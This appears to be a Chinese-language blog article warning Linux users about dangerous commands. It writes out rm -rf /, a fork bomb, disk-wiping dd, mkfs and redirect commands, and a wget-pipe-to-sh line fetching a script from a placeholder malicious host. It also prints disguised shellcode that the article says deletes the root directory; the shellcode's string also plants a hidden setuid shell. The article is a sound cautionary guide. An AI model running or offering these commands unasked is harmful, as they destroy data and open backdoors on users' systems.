這裡蒐集了一些在 Linux 系統上比較具有危險性的指令,使用時要多加注意。

Linux 可以透過指令做很多事情,許多資深的 Linux 使用者甚至都只用指令在工作,而不使用圖形化的介面,善用 Linux 的指令的確可以讓您的生活更輕鬆。

雖然 Linux 的指令很強大,但是有一些指令卻是具有危險性的,以下我們介紹幾個需要特別注意的指令,並不是說它們不可以執行,只是在您執行之前,請經過再三確認後,否則後果可能不堪設想。

rm 刪除檔案指令

rm -rf 是用來遞迴刪除檔案與目錄的指令,這個應該是最常被 Linux 使用者誤用的指令,有時候不小心下錯指令,就會造成誤刪檔案的問題,特別是在使用管理者(root)權限時,請不要隨便執行以下這幾種指令:

  • rm -rf /:刪除整個根目錄以下的所有檔案與目錄,也就是把整個系統都刪除了。
  • rm -rf *:刪除目前目錄以下的所有檔案與目錄。
  • rm -rf .:刪除目前目錄以及目前目錄以下的所有檔案與目錄。

如果您想要多做一些防護措施,避免自己打錯指令而誤刪檔案,可以在 ~/.bashrc 中加入一個 alias:

alias rm='rm -i'

這樣每次 rm 在真正刪除檔案之前,都會先進行確認,例如刪除一個 test.txt 檔案:

rm test.txt

如果有設定這個 alias 的話,就會出現這樣的訊息:

rm:是否移除普通檔案‘test.txt’?

輸入 y 並按下 Enter 鍵之後,才會實際刪除檔案,這樣可以減低誤刪檔案的機會,但是這個方法並不適用於加上 -f 參數的狀況,縱使設定了這個 alias,您還是要小心注意自己的指令。

Fork 炸彈(Fork Bomb)

Fork 炸彈是透過定義一個名為 : 的函數,並且不斷的遞迴呼叫自己,直到系統滿載並且當機。

:(){:|:&};:

這個指令平常沒有什麼實質用處,只有在測試系統時可能會用到而已。

刪除整顆硬碟的資料

這個指令會將 COMMAND 執行的輸出導到第一顆硬碟中(/dev/sda

COMMAND > /dev/sda

不管這裡的 COMMAND 是什麼指令,這樣做都會造成整顆硬碟的資料被刪除。

當然這是要在使用管理者權限時,才會出現的危險,一般使用者並沒有直接寫入 /dev/sda 的權限,就沒有這個問題。

執行來路不明的指令稿

這個指令會從網路上下載指令稿,並且直接執行它:

wget http://malicious_source -O- | sh

wget 下載下來的東西,直接透過管線(pipe)丟給 sh 執行,除非您很確定這個網址上面的東西是安全的,否則別這麼做,萬一執行到惡意程式就麻煩了。

格式化硬碟

這個指令會將第一顆硬碟格式化:

mkfs.ext3 /dev/sda

硬碟格式化之後,所有的資料就會被刪除,這應該是大家都知道的,嚴格說來這也不是什麼危險指令,通常新的硬碟都會做這個動作,只是使用時要小心一點,別下錯指令,或是弄做顆硬碟。

清空檔案

這個指令會將 file.txt 檔案內容清空:

> file.txt

由於它的指令非常簡短,比較容易不小心就打錯,所以在使用時要小心,否則清了不該清的設定檔就糟糕了。

dd 指令

這個指令會將硬碟的資料刪除,並替換為亂數的垃圾資料:

dd if=/dev/random of=/dev/sda

這個指令大概只有在報廢硬碟之前會用到,其他的時候應該都不會這樣用。

隱藏的危險指令

下面這段 C 語言的程式碼中,隱藏了一個 rm -rf 指令:

char esp[] __attribute__ ((section(".text")))
/* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

如果將其編譯後再執行,他會刪掉根目錄下面所有的檔案,但是從表面上看不出來都的危險性,所以如果從網路上下載一些程式時,都要自己注意一下來源是否可以信任,不要隨便編譯與執行來路不明的程式。

參考資料:Tecmint